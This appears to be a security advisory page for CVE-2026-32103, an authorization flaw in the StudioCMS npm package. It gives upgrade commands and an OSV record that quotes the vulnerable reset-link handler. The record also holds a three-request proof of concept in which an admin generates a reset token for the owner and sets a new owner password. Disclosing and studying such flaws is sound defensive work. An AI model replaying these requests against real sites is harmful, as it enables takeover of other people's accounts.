CVE-2026-32103: StudioCMS IDOR — Admin-to-Owner Account Takeover Vulnerability
MODERATECVE-2026-32103 is a MODERATE (CVSS 6.8) idor — admin-to-owner account takeover vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting StudioCMS libraries in the npm ecosystem. The issue involves idor — admin-to-owner account takeover via password reset link generation. Remediation is available by upgrading affected packages to version 0.4.3.
CVE-2026-32103 at a Glance
Security Impact
CVSS: 6.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N).
How to Fix CVE-2026-32103
To remediate this vulnerability, upgrade all affected StudioCMS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install studiocms@0.4.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls studiocms
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-32103, inspect your project dependencies using npm:
npm ls studiocms
Analyze the terminal output to locate any version of StudioCMS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.3), your application is affected.
Note: The npm ls studiocms command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In StudioCMS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32103 Affected StudioCMS Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
studiocms
|
npm |
< 0.4.3
|
0.4.3
|
References
Frequently Asked Questions
What is CVE-2026-32103?
Which StudioCMS versions are affected?
What version fixes CVE-2026-32103?
Is studiocms affected?
What is the CVSS score of CVE-2026-32103?
What CWE is associated with CVE-2026-32103?
How can I check npm dependencies for CVE-2026-32103?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h7vr-cg25-jf8c",
"modified" : "2026-03-12T14:49:38Z",
"published" : "2026-03-12T14:49:38Z",
"aliases" : [ "CVE-2026-32103" ],
"summary" : "StudioCMS: IDOR — Admin-to-Owner Account Takeover via Password Reset Link Generation",
"details" : "## Summary\nThe POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.\n\n## Details\n#### Vulnerable Code\n**File:** packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts\n**Version:** studiocms@0.3.0\n```\nconst isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin; // [1]\nif (!isAuthorized) {\n return apiResponseLogger(403, 'Unauthorized');\n}\n\nconst { userId } = yield* readAPIContextJson<{ userId: string }>(ctx); // [2]\n\nif (!userId) {\n return apiResponseLogger(400, 'Invalid form data, userId is required');\n}\n\n// [3] userId is passed directly — no check against caller's identity\n// [4] No check whether the target user outranks the caller\nconst token = yield* sdk.resetTokenBucket.new(userId); // [5]\n```\n#### Analysis\nUnlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing:\n1. **No caller identity validation [2][3]:** The userId from the JSON payload is never compared against the authenticated caller's session identity. An admin can specify any user's UUID, including the owner's.\n2. **No role hierarchy enforcement [4]:** The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins.\n3. **Reset token returned in response [5]:** The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.\n\nThe core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.\n\n## PoC\n**Environment**\n*User ID | Role*\n2450bf33-0135-4142-80be-9854f9a5e9f1 | owner\neacee42e-ae7e-4e9e-945b-68e26696ece4 | admin\n\n**Step 1 — Verify Attacker's Session (Admin)**\nConfirm the attacker is authenticated as admin (user dummy03):\n```\nPOST /studiocms_api/dashboard/verify-session HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=<admin_session_cookie>\nContent-Type: application/json\n\n{\"originPathname\":\"http://127.0.0.1:4321/dashboard\"}\n```\nResponse:\n```\n{\n \"isLoggedIn\": true,\n \"user\": {\n \"id\": \"eacee42e-ae7e-4e9e-945b-68e26696ece4\",\n \"name\": \"dummy03\",\n \"username\": \"dummy03\"\n },\n \"permissionLevel\": \"admin\"\n}\n```\n\n**Step 2 — Generate Password Reset Token for the Owner**\nThe admin sends a request to create a reset link targeting the owner's UUID:\n```\nPOST /studiocms_api/dashboard/create-reset-link HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=<admin_session_cookie>\nContent-Type: application/json\n\n{\"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\"}\n```\nResponse:\n```\n{\n \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n \"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n \"token\": \"<reset_jwt_token>\"\n}\n```\nThe server generated a valid password reset JWT for the owner account and returned it to the admin caller.\n\n**Step 3 — Reset the Owner's Password**\nUsing all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:\n```\nPOST /studiocms_api/dashboard/reset-password HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=<admin_session_cookie>\nContent-Type: application/json\n\n{\n \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n \"userid\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n \"token\": \"<reset_jwt_token>\",\n \"password\": \"pwned1234@@\",\n \"confirm_password\": \"pwned1234@@\"\n}\n```\nResponse:\n```\n{\"message\": \"User password updated successfully\"}\n```\nThe owner's password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.\n\n## Impact\n- **Owner Account Takeover:** Any admin can change the owner's password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "studiocms"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.4.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.4.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32103"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/withstudiocms/studiocms"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-12T14:49:38Z",
"nvd_published_at" : "2026-03-11T21:16:16Z"
}
}